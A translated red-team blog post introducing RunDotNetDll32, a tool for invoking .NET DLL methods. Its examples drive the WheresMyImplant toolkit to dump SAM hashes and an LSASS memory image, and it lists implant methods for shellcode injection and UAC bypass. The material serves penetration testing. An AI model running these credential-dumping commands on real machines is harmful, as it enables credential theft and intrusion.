导语:本文为读者介绍如何使用RunDotNetDll32来执行.NET方法。
在DerbyCon 2017大会上,我发布了一个名为WheresMyImplant的迷你红队工具包,并且该工具包采用的是.Net DLL形式。从那时起,该工具包一直处于开发过程中,陆续提供了许多有趣的功能。有段时间,我曾经寻找过一种能够从现有的DLL中快速执行.NET方法的手段。但是,据我所知,除了使用PowerShell或.net 的SmokeTest方法之外,还没有发现其他好工具,所以,我就为此创建了RunDotNetDll32。
在这篇文章中,我将为读者介绍RunDotNetDll32的功能和一些常见用法的示例。
RunDotNetDll32简介
下面的示例命令为读者演示了如何使用PowerShell加载.NET DLL WheresMyImplant.dll,以便通过执行DumpSAM()函数来发现本地密码的哈希值。
[System.Reflection.Assembly]::Load("WheresMyImplant.dll") [WheresMyImplant.Implant]::DumpSAM() [System.Reflection.Assembly]::Unload("WheresMyImplant.dll")
如您所见,PowerShell可以成为反射式执行.NET方法的绝佳媒介。但是,这种方式在测试过程中会变得更加繁琐,并且也不适合执行客户端代码。
此外,RunDotNetDll32还有一个用途,那就是为.Net程序集复制rundll32的功能。在语法上,它与rundll32.exe也非常相似。例如,若要锁定工作站然后记录登陆过程的击键的话,可以使用下列命令:
rundll32.exe User32.dll,LockWorkStation
其语法为:
rundll32.exe $ASSEMBLY,$ENTRYPOINT $ARGUMENTS
使用RunDotNetDll32时,语法必须稍加修改,具体如下所示:
rundotnetdll32.exe $ASSEMBLY,$NAMESPACE,$CLASS,$METHOD $ARGUMENTS
例如,要想从WheresMyImplant运行SAM hashdump的话,可以使用以下命令:
rundotnetdll32.exe WheresMyImplant.dll,WheresMyImplant,Implant,DumpSAM ---------- Namespace: WheresMyImplant Class: Implant Method: DumpSAM Arguments: ---------- [+] Running as SYSTEM Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
同样,我们也可以从WheresMyImplant运行MiniDump方法,具体命令如下所示:
rundotnetdll32.exe WheresMyImplant.dll,WheresMyImplant,Implant,MiniDump 552,lsass.dmp ---------- Namespace: WheresMyImplant Class: Implant Method: MiniDump Arguments: 552 lsass.dmp ---------- [+] Received Handle: 512 [+] Dump File Created
枚举命名空间、类和方法
我们都知道,要记住程序集中的每个名称空间、类和方法可不太容易。因此,我为这个软件提供了显示命名空间、类和方法的功能。
下面,我们来举例说明这些功能的用法:
列出命名空间
rundotnetdll32.exe WheresMyImplant.dll list namespaces WheresMyImplant
列出类名
rundotnetdll32.exe WheresMyImplant.dll list classes WheresMyImplant [TRUNCATED] RunCommandPrompt ntdll LSASecrets InjectDll MyInstall Implant BaseSQL RunXPCmdShell Advapi32 [TRUNCATED]
列出方法的名称
rundotnetdll32.exe WheresMyImplant.dll list methods WheresMyImplant Implant WheresMyImplant Implant RunCMD RunPowerShell RunXpCmdShell InjectShellCode InjectShellCodeWMIFSB64 InjectDll InjectDllWMIFS InjectPeFile InjectPeString InjectPeWMIFS InjectPeWMIFSRemote Empire Tokenvator BypassUac DumpLsa DumpSAM DumpDomainCache DumpVault DumpVaultCLI ReadProcessMemory CheckCCNumber MiniDump PSExec WirelessPreSharedKey [TRUNCATED]
虽然这个程序是专门为自己和自己的团队而创建的,但是,我仍然希望它能够对涉及.NET应用程序的蓝队和红队成员带来帮助。如果您在使用过程中发现了任何错误的话,欢迎指出,我们将感激不尽。